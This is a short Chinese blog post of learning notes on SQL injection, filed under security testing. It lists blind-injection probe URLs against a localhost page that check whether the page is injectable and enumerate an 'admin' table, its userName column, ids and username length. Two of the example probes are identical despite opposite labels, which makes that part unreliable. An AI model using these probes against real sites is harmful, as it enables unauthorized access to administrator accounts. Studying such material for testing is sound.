我所知道的SQL注入
上一篇 /
下一篇 2011-05-17 10:25:51
/ 个人分类:安全性测试
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
检测是否可以进行注入:
http://127.0.0.1/xx?id=11 and 1=1 (不能注入)
http://127.0.0.1/xx?id=11 and 1=1 (可以注入)
检测表段是否可以注入:
http://127.0.0.1/xx?id=11 and exists(select * from admin)
检测字段的:
http://127.0.0.1/xx?id=11 and exists(select userName from admin)
检测ID的:
http://127.0.0.1/xx?id=11 and exists(select id from admin where id=1)
检测长度的:
http://127.0.0.1/xx?id=11 and exists(select id from admin where len(userName)=5 and id=1)
注:正在学习中,随时更新
收藏
举报
TAG: